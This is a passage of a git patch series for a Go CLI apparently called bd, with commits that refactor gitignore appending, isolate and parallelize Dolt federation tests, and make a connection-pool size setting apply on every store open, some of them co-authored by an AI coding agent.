TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { t.Errorf("%s:%d %q can select, skip or re-run the embedded lane's tests", rel, i+1, code) } for _, m := range regexp.MustCompile(`--config=([A-Za-z0-9_-]+)`).FindAllStringSubmatch(code, -1) { - if m[1] != "remote-exec" { + if !rcEnabled[m[1]] { t.Errorf("%s:%d enables --config=%s for every command", rel, i+1, m[1]) } } From ba2f0afe4aa3d669f680a8dd100dee4dcef6d8e0 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 05:24:11 -0700 Subject: [PATCH 033/325] refactor(worktree): route addToGitignore through gitignore.AppendLines (post-merge #5677) (#7006) #5677 made addToGitignore preserve a CRLF .gitignore by consuming gitignore.AppendLineEnding, but it re-implemented the rest of the #6343 append policy inline: the final-line completion, including the rule that a trailing CR is completed with a bare LF. That policy already lives in gitignore.AppendLines, which the three other project-ignore writers call. The two copies are byte-equivalent today, and only one of them is discoverable when the policy changes. Derive the appended bytes from AppendLines instead. Its contract leaves the existing bytes unchanged, so everything past len(content) is exactly the append, and writing only that suffix keeps the O_APPEND handle: the user's .gitignore is still appended to, never truncated and rewritten. The write also becomes a single Write call instead of a separator write followed by an Fprintf. No behavior change. The call-site tests pass unmodified, byte for byte. The doc comment on TestAddToGitignoreCompletesUnterminatedCRLFLine is reworded because it described the removed separator variable; the arm it pins, and why only that test reaches it, are unchanged. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5.5 --- cmd/bd/worktree_cmd.go | 22 ++++++---------------- cmd/bd/worktree_gitignore_eol_test.go | 22 +++++++++++----------- 2 files changed, 17 insertions(+), 27 deletions(-) diff --git a/cmd/bd/worktree_cmd.go b/cmd/bd/worktree_cmd.go index 51b6ad5aa..190ddafdc 100644 --- a/cmd/bd/worktree_cmd.go +++ b/cmd/bd/worktree_cmd.go @@ -2141,22 +2141,12 @@ func addToGitignore(ctx context.Context, repoRoot, entry string) error { } defer f.Close() - lineEnding := gitignore.AppendLineEnding(content) - - // Add newline if file doesn't end with one - if len(content) > 0 && content[len(content)-1] != '\n' { - separator := lineEnding - // Only CRLF needs this guard: the LF separator already completes a trailing CR. - if lineEnding == "\r\n" && content[len(content)-1] == '\r' { - separator = "\n" // Complete the existing CR without rewriting it. - } - if _, err := f.WriteString(separator); err != nil { - return err - } - } - - // Add comment and entry - if _, err := fmt.Fprintf(f, "# bd worktree%s%s/%s", lineEnding, entry, lineEnding); err != nil { + // AppendLines owns the line-ending and final-line completion policy and + // leaves existing bytes unchanged, so everything past len(content) is the + // append. Writing only that suffix keeps this an O_APPEND write rather than + // a rewrite of the user's file. + appended := gitignore.AppendLines(content, []string{"# bd worktree", entry + "/"}) + if _, err := f.Write(appended[len(content):]); err != nil { return err } diff --git a/cmd/bd/worktree_gitignore_eol_test.go b/cmd/bd/worktree_gitignore_eol_test.go index f330f8965..11782ac84 100644 --- a/cmd/bd/worktree_gitignore_eol_test.go +++ b/cmd/bd/worktree_gitignore_eol_test.go @@ -31,21 +31,21 @@ func TestAddToGitignoreCompletesTrailingCR(t *testing.T) { } // TestAddToGitignoreCompletesUnterminatedCRLFLine covers the one arm where -// addToGitignore actually uses the detected line ending as its separator. +// addToGitignore's append completes the final line with the detected line ending. // -// The separator assignment is guarded twice over: the block is only entered when -// the file does not end in "\n", and inside it a trailing "\r" is completed with -// a bare "\n" instead. So the detected "\r\n" is used only for a CRLF file whose +// gitignore.AppendLines guards that completion twice over: it only completes a +// file that does not end in "\n", and it completes a trailing "\r" with a bare +// "\n" instead. So the detected "\r\n" is used only for a CRLF file whose // final byte is neither — an unterminated final line like "build/". The sibling // fixtures in this file cannot reach it: "a/\r\nb/\r" ends in CR and takes the -// completion branch, and "node_modules/\r\n" ends in LF and never enters the -// block at all. Without this case, reverting the separator to a hardcoded "\n" -// still passes every test here while writing exactly the mixed-terminator -// .gitignore this change exists to prevent. +// bare "\n" completion, and "node_modules/\r\n" ends in LF and needs no +// completion at all. Without this case, completing the final line with a +// hardcoded "\n" still passes every test here while writing exactly the +// mixed-terminator .gitignore this change exists to prevent. // -// internal/gitignore's own table already covers this input for the detector -// (append_test.go, "CRLF with unterminated final line"); this is the call site -// that consumes it. +// internal/gitignore's own tables already cover this input (append_test.go, +// "CRLF with unterminated final line" for the detector and "CRLF unterminated" +// for AppendLines); this is the call site that consumes them. func TestAddToGitignoreCompletesUnterminatedCRLFLine(t *testing.T) { repoRoot := initGitRepoForGitignoreTest(t) path := filepath.Join(repoRoot, ".gitignore") From d4cc7fd74cf64ef563ba6adba87b1ac5de9979a7 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Thu, 1 Oct 2026 05:24:36 -0700 Subject: [PATCH 034/325] fix(dolt): give federation tests real isolation, fixing a crash and a timeout flake (#5941) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(dolt): red — federation tests hardcode main and share one database (refs be-dk4a) Uniquify feature-branch per test (was a global name colliding under t.Parallel across the shared test database) and capture the starting isolated branch for later use. The checkout-into-shared-main and unchecked-error crash (federation_test.go:209) and the database-isolation bug (setupFederationStore hardcoding Database: "beads") are still present and still reproduce: TestFederationVersionControlAPIs — SIGSEGV, nil deref after checkout main TestFederationDatabaseIsolation — isolation violated: alpha found beta-001 TestFederationListRemotes — passes (confirms it is collateral, not an independent failure) * feat: green — Fix: federation tests hardcode main and share one database, so a nil deref SIGSEGVs the whole shard-5 binary (refs be-dk4a) Bug 1: TestFederationVersionControlAPIs checked out the literal "main" after merging, but setupTestStore's store shares its database with every other test in the package — the test actually starts on its own isolated branch, not "main". Checking out "main" then reading with an unchecked GetIssue error produced a nil *types.Issue, and dereferencing its .Title field SIGSEGV'd the whole test binary. Fix: check out back to the captured starting branch instead of "main", and check errors on both post-merge GetIssue calls. Bug 2: setupFederationStore hardcoded Database: "beads" for every town, so alpha and beta shared one database with no real isolation — TestFederationDatabaseIsolation could only ever pass by accident. Fix: give each town its own database via uniqueTestDBName(t), with a DROP DATABASE IF EXISTS cleanup mirroring dolt_test.go's established pattern. This also exposed that GetIssue's documented not-found contract is a wrapped storage.ErrNotFound, not (nil, nil) — the isolation assertions were checking the wrong shape and are corrected to match. * fix(dolt): parallelize federation town setup to fix isolation-test timeout TestFederationDatabaseIsolation sets up two independent databases (alpha and beta towns) with no dependency on each other, but paid their cold schema/migration chains sequentially inside one 2-minute context. As that chain has grown, round 2 review reproduced this 2/2 as "context deadline exceeded creating the alpha store." Root-cause check (be-8zggi round 2): a throwaway probe measured cold migration cost against an isolated, unloaded local dolt-sql-server (dolt v2.2.3) to separate real cost growth from host-load noise before touching the timeout, per the CI-red playbook. Results: single cold migration ~5s, two sequential ~9.8s, two concurrent ~6.1s (1.61x speedup) — both comfortably under the 2-minute budget in isolation. That rules out "budget needs raising" and puts most of the originally observed timeout on ambient host/shared-server contention rather than inherent migration cost, but running the two independent setups concurrently is still a genuine, zero-risk reduction in this test's own wall-clock footprint (not a timeout bump), so it's the right fix either way. newFederationStore now returns an error instead of calling t.Fatalf directly, since testing.T's FailNow must only be called from the goroutine running the test itself, not one it spawns. Also: filed be-pwox9 for an unrelated bug the probe's own ambient-env sanity check surfaced (applyConfigDefaults lets BEADS_DOLT_SERVER_PORT clobber an explicit Config.ServerPort) — out of scope here since the real federation test path never sets ServerPort explicitly. refs be-dk4a, be-8zggi * test(dolt): red — guard federationIsolationTimeout has contention headroom (refs be-8zggi round 3) Adds TestFederationIsolationTimeoutHasContentionHeadroom, which asserts a not-yet-defined federationIsolationTimeout constant is >= 2x the fixed 2*time.Minute deadline it will replace in TestFederationDatabaseIsolation. Fails to build until the constant is defined (RED). Round 2 proved TestFederationDatabaseIsolation's fixed 2-minute budget fails under ambient multi-agent host contention on this shared rig (6/6 repro, ~120s context deadline exceeded), not migration-cost growth (base-ref comparison: old code fails identically under the same conditions). Per ga-sui3p4 (gascity architect ruling), the fix is a named, justified package-local constant with a guard test proving real headroom — not a bare literal bump. * fix(dolt): green — federationIsolationTimeout replaces fixed 2m deadline Defines federationIsolationTimeout (5*time.Minute) and wires it into TestFederationDatabaseIsolation's context.WithTimeout, replacing the fixed 2*time.Minute deadline that reproducibly failed under ambient multi-agent host contention (be-8zggi round 2: 6/6 failures, ~120s "context deadline exceeded", load average up to 143.96). Sized against in-package precedent (concurrent_test.go's 60s concurrentTestTimeout, initschema_idempotent_test.go's 3m single cold-init budget) for a test that pays that cold-init cost twice, concurrently. Guarded by TestFederationIsolationTimeoutHasContentionHeadroom, which enforces >=2x the replaced deadline per ga-sui3p4. Verified against a live podman-backed testcontainers dolt-sql-server: TestFederationDatabaseIsolation (3.56s), the new guard test, TestFederationVersionControlAPIs, and TestFederationListRemotes (non-regression, unmodified) all pass. * docs(release-gates): add be-mp5ag gate evidence — federation test reliability All 7 criteria PASS. cmd/bd timeout under make ci-pr-core attributed per criterion 3a (not diff-owned, tracked as bd-jxmz5 et al., reproduced independently at base-ref, no path overlap). * docs(release-gates): backfill be-mp5ag PR URL * test(dolt): keep the town in the federation database name, drop a duped call Review nits on the federation isolation work. uniqueTestDBName alone yields "testdb_", so moving the two towns onto per-run names cost the ability to tell alpha from beta server-side -- in SHOW DATABASES, or when hunting a leaked test database. A federationDBName(t, town) helper appends the town, keeping both properties. Applied at both call sites, so setupFederationStore's caller in pull_branch_tracking_integration_test.go gets it too. TestFederationVersionControlAPIs called CurrentBranch twice for the same value, binding startBranch and start. start is gone; its one other use, the post-merge t.Logf, now reads startBranch. Verified with -tags integration against a live containerized dolt-sql-server, which the review could not do for lack of a testcontainer provider: TestFederationDatabaseIsolation and TestFederationVersionControlAPIs both PASS. go vet clean both tagged and untagged. (refs be-mp5ag) * chore: remove leaked internal release-gate doc from PR branch release-gates/federation-test-reliability-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 * test(dolt): correct federation test comments (review nits) Maintainer fixup for adopt-pr review iteration 1 (non-gating nits): - TestFederationDatabaseIsolation: the setup comment said running the alpha/beta chains concurrently fixed the budget overrun "without touching the deadline", but this PR also widens that deadline from 2m to 5m via federationIsolationTimeout. Say both layers are load-bearing. - Move setupFederationStore's doc sentences off federationDBName and onto func setupFederationStore, where source readers look for them. Comment-only; no behavior change. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5.5 --- internal/storage/dolt/federation_test.go | 179 +++++++++++++++++++---- 1 file changed, 152 insertions(+), 27 deletions(-) diff --git a/internal/storage/dolt/federation_test.go b/internal/storage/dolt/federation_test.go index 2ad2cfd6c..c02e93455 100644 --- a/internal/storage/dolt/federation_test.go +++ b/internal/storage/dolt/federation_test.go @@ -43,11 +43,30 @@ import ( // // See HOP docs: architecture/FEDERATION.md for full federation spec. +// federationIsolationTimeout bounds TestFederationDatabaseIsolation's alpha/beta +// store setup. It replaces a fixed 2*time.Minute context.WithTimeout that +// reproducibly failed under ambient multi-agent host contention on this shared +// rig (be-8zggi round 2: 6/6 failures, ~120s "context deadline exceeded" +// creating the alpha store, at load average up to 143.96 with 30 concurrent +// dolt sql-server processes) even though the same setup completes in well +// under 10s in isolation (round 2's probe measured ~6.1s concurrent; round 3's +// baseline measured 7.78s end-to-end). Round 2's base-ref comparison ruled out +// migration-cost growth as the cause -- the pre-fix code failed identically +// under the same conditions -- so this is sized for contention headroom, not +// a bigger cold-init budget. In-package precedent: concurrent_test.go's +// concurrentTestTimeout (60s, "longer than regular tests to allow for +// contention") and initschema_idempotent_test.go's 3*time.Minute budget for a +// single cold schema-init. This test pays that same per-town cold-init cost +// twice, concurrently, so 5 minutes keeps comfortable headroom above both the +// single-init precedent and the >=4-minute floor +// TestFederationIsolationTimeoutHasContentionHeadroom enforces. +const federationIsolationTimeout = 5 * time.Minute + // TestFederationDatabaseIsolation verifies that two DoltStores have isolated databases func TestFederationDatabaseIsolation(t *testing.T) { skipIfNoDolt(t) - ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) + ctx, cancel := context.WithTimeout(context.Background(), federationIsolationTimeout) defer cancel() baseDir, err := os.MkdirTemp("", "federation-isolation-*") @@ -56,15 +75,52 @@ func TestFederationDatabaseIsolation(t *testing.T) { } defer os.RemoveAll(baseDir) - // Setup Town Alpha + // Alpha and beta are independent databases (see newFederationStore) with + // no setup dependency on each other. Unlike most of this package's tests, + // which reuse TestMain's single pre-migrated shared database via + // branch-per-test isolation, each town here pays its own full cold + // schema/migration chain. As that chain has grown, two sequential cold + // inits plus the test body's own work stopped reliably fitting inside + // this ctx's budget (be-8zggi round 2: reproduced 2/2 as context deadline + // exceeded creating the alpha store). Running the two chains concurrently + // instead of sequentially shortens that critical path; the budget itself + // is widened separately, for host-contention headroom (see + // federationIsolationTimeout). alphaDir := filepath.Join(baseDir, "town-alpha") - alphaStore, alphaCleanup := setupFederationStore(t, ctx, alphaDir, "alpha") - defer alphaCleanup() - - // Setup Town Beta betaDir := filepath.Join(baseDir, "town-beta") - betaStore, betaCleanup := setupFederationStore(t, ctx, betaDir, "beta") - defer betaCleanup() + alphaDB := federationDBName(t, "alpha") + betaDB := federationDBName(t, "beta") + + type setupResult struct { + store *DoltStore + cleanup func() + err error + } + alphaCh := make(chan setupResult, 1) + betaCh := make(chan setupResult, 1) + go func() { + store, cleanup, err := newFederationStore(ctx, alphaDir, alphaDB, "alpha") + alphaCh <- setupResult{store, cleanup, err} + }() + go func() { + store, cleanup, err := newFederationStore(ctx, betaDir, betaDB, "beta") + betaCh <- setupResult{store, cleanup, err} + }() + alphaRes, betaRes := <-alphaCh, <-betaCh + + if alphaRes.store != nil { + defer alphaRes.cleanup() + } + if betaRes.store != nil { + defer betaRes.cleanup() + } + if alphaRes.err != nil { + t.Fatalf("failed to create alpha store: %v", alphaRes.err) + } + if betaRes.err != nil { + t.Fatalf("failed to create beta store: %v", betaRes.err) + } + alphaStore, betaStore := alphaRes.store, betaRes.store t.Logf("Alpha path: %s", alphaStore.Path()) t.Logf("Beta path: %s", betaStore.Path()) @@ -136,6 +192,26 @@ func TestFederationDatabaseIsolation(t *testing.T) { t.Logf("✓ Beta sees beta-001: %q", betaCheck.Title) } +// TestFederationIsolationTimeoutHasContentionHeadroom guards +// federationIsolationTimeout against being reflexively shrunk back toward the +// fixed 2*time.Minute deadline it replaced in TestFederationDatabaseIsolation. +// That fixed deadline reproducibly failed under ambient multi-agent host +// contention on this shared rig (be-8zggi round 2: 6/6 failures, ~120s +// "context deadline exceeded" creating the alpha store, at load average up to +// 143.96 with 30 concurrent dolt sql-server processes) even though the same +// setup completes in well under 10s in isolation -- round 2's own base-ref +// comparison proved this was contention, not cost growth (the pre-fix code +// failed identically under the same conditions). The replacement must keep +// real headroom for contention recurring, not just re-fit whatever load +// happens to exist right now, so the floor is 2x the deadline it replaced. +func TestFederationIsolationTimeoutHasContentionHeadroom(t *testing.T) { + const replacedDeadline = 2 * time.Minute + if federationIsolationTimeout < 2*replacedDeadline { + t.Fatalf("federationIsolationTimeout = %s, want >= %s (2x the fixed %s context.WithTimeout deadline it replaced in TestFederationDatabaseIsolation, so the budget has real headroom for ambient host contention instead of just re-fitting current load — see be-8zggi round 2)", + federationIsolationTimeout, 2*replacedDeadline, replacedDeadline) + } +} + // TestFederationVersionControlAPIs tests the Dolt version control operations // needed for federation (branch, commit, merge) func TestFederationVersionControlAPIs(t *testing.T) { @@ -157,6 +233,26 @@ func TestFederationVersionControlAPIs(t *testing.T) { if err != nil { t.Fatalf("failed to get starting branch: %v", err) } + t.Logf("running on isolated branch %s", startBranch) + + // feature-branch must be unique per test: this store's underlying + // database is shared with every other test in the package (see + // setupTestStore), so a hardcoded name collides under t.Parallel. + featureBranch := "feature-branch-" + uniqueTestDBName(t) + defer func() { + // Runs before the outer `defer cleanup()` (LIFO), so the store + // connection is still open here. + _ = store.DeleteBranch(ctx, featureBranch) + branches, err := store.ListBranches(ctx) + if err != nil { + return + } + for _, b := range branches { + if b == featureBranch { + t.Errorf("feature branch %s was not cleaned up", featureBranch) + } + } + }() // Create initial issue issue := &types.Issue{ @@ -176,13 +272,13 @@ func TestFederationVersionControlAPIs(t *testing.T) { } // Test branch creation - if err := store.Branch(ctx, "feature-branch"); err != nil { + if err := store.Branch(ctx, featureBranch); err != nil { t.Fatalf("failed to create branch: %v", err) } - t.Log("✓ Created feature-branch") + t.Logf("✓ Created %s", featureBranch) // Test checkout - if err := store.Checkout(ctx, "feature-branch"); err != nil { + if err := store.Checkout(ctx, featureBranch); err != nil { t.Fatalf("failed to checkout: %v", err) } @@ -191,8 +287,8 @@ func TestFederationVersionControlAPIs(t *testing.T) { if err != nil { t.Fatalf("failed to get current branch: %v", err) } - if branch != "feature-branch" { - t.Errorf("expected feature-branch, got %s", branch) + if branch != featureBranch { + t.Errorf("expected %s, got %s", featureBranch, branch) } t.Logf("✓ Checked out to %s", branch) @@ -222,15 +318,15 @@ func TestFederationVersionControlAPIs(t *testing.T) { } t.Log("✓ Original branch unchanged") - // Merge feature branch - conflicts, err := store.Merge(ctx, "feature-branch") + // Merge feature branch into the isolated starting branch + conflicts, err := store.Merge(ctx, featureBranch) if err != nil { t.Fatalf("failed to merge: %v", err) } if len(conflicts) > 0 { t.Logf("Merge produced %d conflicts", len(conflicts)) } - t.Log("✓ Merged feature-branch into main") + t.Logf("✓ Merged %s into %s", featureBranch, startBranch) // Verify merge result mergedIssue, err := store.GetIssue(ctx, "vc-001") @@ -1525,10 +1621,40 @@ func TestFilteredPushStagingBranchCleanupOnError(t *testing.T) { } } -// setupFederationStore creates a Dolt store for federation testing +// federationDBName gives a town a database name that is unique per run AND +// still says which town it is. uniqueTestDBName alone is "testdb_", so +// alpha and beta were indistinguishable in SHOW DATABASES and in any +// server-side hunt for leaked test databases -- the per-run uniqueness that +// makes -count=2 and concurrent binaries safe should not cost that. +func federationDBName(t *testing.T, town string) string { + t.Helper() + return uniqueTestDBName(t) + "_" + town +} + +// setupFederationStore is the single-goroutine convenience wrapper around +// newFederationStore for callers (e.g. pull_branch_tracking_integration_test.go) +// that don't need concurrent town setup and can use t.Fatalf directly. func setupFederationStore(t *testing.T, ctx context.Context, path, prefix string) (*DoltStore, func()) { t.Helper() + store, cleanup, err := newFederationStore(ctx, path, federationDBName(t, prefix), prefix) + if err != nil { + t.Fatalf("%v", err) + } + return store, cleanup +} +// newFederationStore creates a Dolt store for federation testing against the +// given pre-generated database name. Each town gets its own database (not +// just its own `path`): dolt.New has a single exit, newServerMode, where +// cfg.Path is inert — every store in a test process talks to the same Dolt +// server, so the database name is the only thing that actually isolates one +// town's data from another's. +// +// Returns an error instead of calling t.Fatalf: TestFederationDatabaseIsolation +// runs one of these per town concurrently (each pays a full cold +// schema/migration chain), and testing.T's FailNow must only be called from +// the goroutine running the test itself, not one it spawns. +func newFederationStore(ctx context.Context, path, dbName, prefix string) (*DoltStore, func(), error) { cfg := &Config{ Path: path, CommitterName: "town-" + prefix, @@ -1537,31 +1663,30 @@ func setupFederationStore(t *testing.T, ctx context.Context, path, prefix string // always connects in server mode, and TestMain runs one shared Dolt // server for the whole test binary, so Path alone does not isolate // two stores — Database does. A shared literal "beads" here let every - // town silently attach to the same database (be-3c78s). - Database: "beads_test_federation_" + prefix, + // town silently attach to the same database (be-3c78s). The name is + // generated by the caller (uniqueTestDBName) so concurrent callers + // never race on the same one. + Database: dbName, CreateIfMissing: true, // test creates fresh database } store, err := New(ctx, cfg) if err != nil { - t.Fatalf("failed to create %s store: %v", prefix, err) + return nil, nil, fmt.Errorf("failed to create %s store: %w", prefix, err) } // Set up issue prefix if err := store.SetConfig(ctx, "issue_prefix", prefix); err != nil { store.Close() - t.Fatalf("failed to set prefix for %s: %v", prefix, err) + return nil, nil, fmt.Errorf("failed to set prefix for %s: %w", prefix, err) } - // Initial commit to establish main branch - if err := store.Commit(ctx, "Initialize "+prefix+" town"); err != nil { - // Ignore if nothing to commit - t.Logf("Initial commit for %s: %v", prefix, err) - } + // Initial commit to establish main branch; ignore if nothing to commit. + _ = store.Commit(ctx, "Initialize "+prefix+" town") cleanup := func() { store.Close() } - return store, cleanup + return store, cleanup, nil } From e1ceedf095d20569ab69adfdb7233f214e0a5ffa Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 05:37:37 -0700 Subject: [PATCH 035/325] fix(dolt): honor BEADS_DOLT_MAX_CONNS / dolt.max-conns on every store open (#7052) * fix(dolt): honor BEADS_DOLT_MAX_CONNS / dolt.max-conns on every store open The pool-size knob (GH#3140) was read only in applyResolvedConfig, which the CLI's main store open never reaches: main.go hand-builds its dolt.Config and goes newDoltStore -> dolt.New -> applyConfigDefaults. Ordinary bd commands in server mode therefore always ran on the built-in 10-connection pool whatever BEADS_DOLT_MAX_CONNS or dolt.max-conns said; only the NewFromConfig* opens (routed stores, bd doctor, ...) honored it. This is the same hole #6144 found for the pool deadlines, which #6145 closed by applying their ladder from applyConfigDefaults. Fold the pool-size ladder into that seam: applyPoolTimeouts becomes applyPoolKnobs, covers max-conns plus both deadlines, and runs from applyConfigDefaults (every New) and, idempotently, from applyResolvedConfig. The max-conns config.yaml rung now reads cfg.BeadsDir through the shared poolKnobFromConfig helper (formerly poolTimeoutFromConfig) instead of a beadsDir-parameter closure, so the two knob families can no longer resolve config.yaml from different directories. The old precedence comment ("env var > config.yaml > caller override") was also wrong, since a caller-set value always won; it now reads caller override > env var > config.yaml > built-in default. TestApplyConfigDefaultsAppliesPoolSizeLadder pins the ladder on the constructor path (env, caller wins, unset default, config.yaml) and follows it through applyPoolLimits to the *sql.DB's MaxOpenConnections. The env and config.yaml subtests fail on the pre-fix tree. Post-merge review follow-up to #6145. Co-Authored-By: Claude Opus 5.5 * docs(changelog): note that dolt.max-conns now sizes the CLI's pool Release note for the previous commit, beside #6145's entry for the deadline knobs: operators who set BEADS_DOLT_MAX_CONNS or dolt.max-conns and saw no effect on ordinary bd commands in server mode will now see it honored. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 8 ++ internal/storage/dolt/open.go | 95 ++++++++++----------- internal/storage/dolt/pool_timeouts_test.go | 85 +++++++++++++++++- internal/storage/dolt/store.go | 6 +- 4 files changed, 138 insertions(+), 56 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3ebd55d64..830a122ef 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -103,6 +103,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `BEADS_DOLT_POOL_READ_TIMEOUT` set below that now bounds import too; size the knob for your largest import, or leave it unset for the fallback. +- **`BEADS_DOLT_MAX_CONNS` / `dolt.max-conns` now size the pool for ordinary + `bd` commands in server mode.** The pool-size knob (GH#3140) had the same + hole as the deadline knobs above: it was read only on the `NewFromConfig*` + path (routed stores, `bd doctor`, ...), so the CLI's own store open always + ran on the built-in 10-connection pool whatever the knob said. It now shares + the deadlines' ladder in the constructor every DoltStore open reaches + ([#7052](https://github.com/gastownhall/beads/pull/7052)). + - **No-DB commands in a redirected workspace no longer lose the source repo's `dolt_database`** (be-xil, be-fyt). `bd doctor`, `bootstrap`, `context`, `dolt`, `init` and `version` skip store init, and the beads dir diff --git a/internal/storage/dolt/open.go b/internal/storage/dolt/open.go index 9875ae22d..6de61bbff 100644 --- a/internal/storage/dolt/open.go +++ b/internal/storage/dolt/open.go @@ -315,74 +315,65 @@ func applyResolvedConfig(ctx context.Context, beadsDir string, fileCfg *configfi cfg.ServerTLS = fileCfg.GetDoltServerTLS() } - // config.yaml rung for the pool-size knob below. It needs both reads: - // config.GetString reads a package-global viper populated only by - // cmd/bd's config.Initialize(), so for a library consumer it always - // returns "" and the project's configured values were silently ignored. - // Fall back to a direct read of the project's config.yaml, the same - // fallback dolt.auto-start carries above for this exact hole. The - // fallback follows GetStringFromDir's ladder, so when beadsDir is not - // the process CWD a user-level ~/.config/bd/config.yaml value outranks - // that project's file — same behavior as dolt.auto-start. The pool - // deadlines carry the same rung in poolTimeoutFromConfig, which runs - // from applyPoolTimeouts so every DoltStore open gets it. - poolCfg := func(key string) string { - if v := config.GetString(key); v != "" { - return v - } - return config.GetStringFromDir(beadsDir, key) - } - - // Pool size: env var > config.yaml > caller override > default (10). - // Useful for shared-server setups with many worktrees (GH#3140). - if cfg.MaxOpenConns == 0 { - if v := os.Getenv("BEADS_DOLT_MAX_CONNS"); v != "" { - if n, err := strconv.Atoi(v); err == nil && n > 0 { - cfg.MaxOpenConns = n - } - } - } - if cfg.MaxOpenConns == 0 { - if v := poolCfg("dolt.max-conns"); v != "" { - if n, err := strconv.Atoi(v); err == nil && n > 0 { - cfg.MaxOpenConns = n - } - } - } - - applyPoolTimeouts(cfg) + applyPoolKnobs(cfg) return nil } -// applyPoolTimeouts fills the shared pool's per-I/O deadlines when the caller -// left them unset: caller override > env var > config.yaml > default (10s, see -// buildServerDSN). The default fast-fail is right for healthy local servers; -// overloaded shared-server deployments raise it so ordinary queries stop dying -// with "i/o timeout" under load (bd-vz0y9). It is idempotent, and it runs from -// New (applyConfigDefaults) so every DoltStore open honors the knob — the CLI's own -// store open hand-builds its Config and never passes through -// applyResolvedConfig, which is how the knob shipped in #5089 stayed -// inert for every bd command in server mode (gastownhall/beads#6144). -func applyPoolTimeouts(cfg *Config) { +// applyPoolKnobs fills the shared pool's operator knobs when the caller left +// them unset, each on the ladder caller override > env var > config.yaml > +// built-in default: +// +// - pool size: BEADS_DOLT_MAX_CONNS / dolt.max-conns (default 10, see +// applyPoolLimits). Useful for shared-server setups with many worktrees +// (GH#3140). +// - per-I/O deadlines: BEADS_DOLT_POOL_READ_TIMEOUT / dolt.pool-read-timeout +// and BEADS_DOLT_POOL_WRITE_TIMEOUT / dolt.pool-write-timeout (default 10s +// each, see buildServerDSN). The default fast-fail is right for healthy +// local servers; overloaded shared-server deployments raise it so ordinary +// queries stop dying with "i/o timeout" under load (bd-vz0y9). +// +// It is idempotent, and it runs from New (applyConfigDefaults) so every +// DoltStore open honors the knobs. The CLI's main store open hand-builds its +// Config and never passes through applyResolvedConfig, so a knob read only +// there reaches the CLI's NewFromConfig* opens (routed stores, bd doctor) but +// not ordinary bd commands: that is how the deadlines shipped in #5089 stayed +// inert in server mode (gastownhall/beads#6144), and the pool size the same +// way. A new pool knob belongs here, not in applyResolvedConfig. +func applyPoolKnobs(cfg *Config) { + if cfg.MaxOpenConns == 0 { + if n, err := strconv.Atoi(os.Getenv("BEADS_DOLT_MAX_CONNS")); err == nil && n > 0 { + cfg.MaxOpenConns = n + } + } + if cfg.MaxOpenConns == 0 { + if n, err := strconv.Atoi(poolKnobFromConfig(cfg, "dolt.max-conns")); err == nil && n > 0 { + cfg.MaxOpenConns = n + } + } if cfg.PoolReadTimeout == 0 { cfg.PoolReadTimeout = timeoutFromEnv("BEADS_DOLT_POOL_READ_TIMEOUT", 0) } if cfg.PoolReadTimeout == 0 { - cfg.PoolReadTimeout = parseTimeout(poolTimeoutFromConfig(cfg, "dolt.pool-read-timeout"), 0) + cfg.PoolReadTimeout = parseTimeout(poolKnobFromConfig(cfg, "dolt.pool-read-timeout"), 0) } if cfg.PoolWriteTimeout == 0 { cfg.PoolWriteTimeout = timeoutFromEnv("BEADS_DOLT_POOL_WRITE_TIMEOUT", 0) } if cfg.PoolWriteTimeout == 0 { - cfg.PoolWriteTimeout = parseTimeout(poolTimeoutFromConfig(cfg, "dolt.pool-write-timeout"), 0) + cfg.PoolWriteTimeout = parseTimeout(poolKnobFromConfig(cfg, "dolt.pool-write-timeout"), 0) } } -// poolTimeoutFromConfig reads a pool-deadline key from the initialized config -// and, like the auto-start ladder above, falls back to the .beads directory's -// own config.yaml for library consumers that never called config.Initialize. -func poolTimeoutFromConfig(cfg *Config, key string) string { +// poolKnobFromConfig reads a pool-knob key from the initialized config and, +// like the auto-start ladder above, falls back to the .beads directory's own +// config.yaml. It needs both reads: config.GetString reads a package-global +// viper populated only by cmd/bd's config.Initialize(), so for a library +// consumer it always returns "" and the project's configured values would be +// silently ignored. The fallback follows GetStringFromDir's ladder, so when +// cfg.BeadsDir is not the process CWD a user-level ~/.config/bd/config.yaml +// value outranks that project's file — same behavior as dolt.auto-start. +func poolKnobFromConfig(cfg *Config, key string) string { if v := config.GetString(key); v != "" { return v } diff --git a/internal/storage/dolt/pool_timeouts_test.go b/internal/storage/dolt/pool_timeouts_test.go index 660d2d131..113e5e42c 100644 --- a/internal/storage/dolt/pool_timeouts_test.go +++ b/internal/storage/dolt/pool_timeouts_test.go @@ -66,7 +66,7 @@ func TestApplyConfigDefaultsAppliesPoolTimeoutLadder(t *testing.T) { }) // The config.yaml rung, on the constructor path. The subtests above only - // reach the env rung, so poolTimeoutFromConfig's dir fallback -- the rung a + // reach the env rung, so poolKnobFromConfig's dir fallback -- the rung a // library consumer that never called config.Initialize depends on -- was // pinned only for applyResolvedConfig (TestApplyResolvedConfig in // open_test.go). This mirrors that subtest through applyConfigDefaults, @@ -102,3 +102,86 @@ func TestApplyConfigDefaultsAppliesPoolTimeoutLadder(t *testing.T) { } }) } + +// TestApplyConfigDefaultsAppliesPoolSizeLadder pins the pool-size knob at the +// same seam. BEADS_DOLT_MAX_CONNS / dolt.max-conns (GH#3140) were read only in +// applyResolvedConfig, which the CLI's main store open never reaches, so +// ordinary `bd` commands in 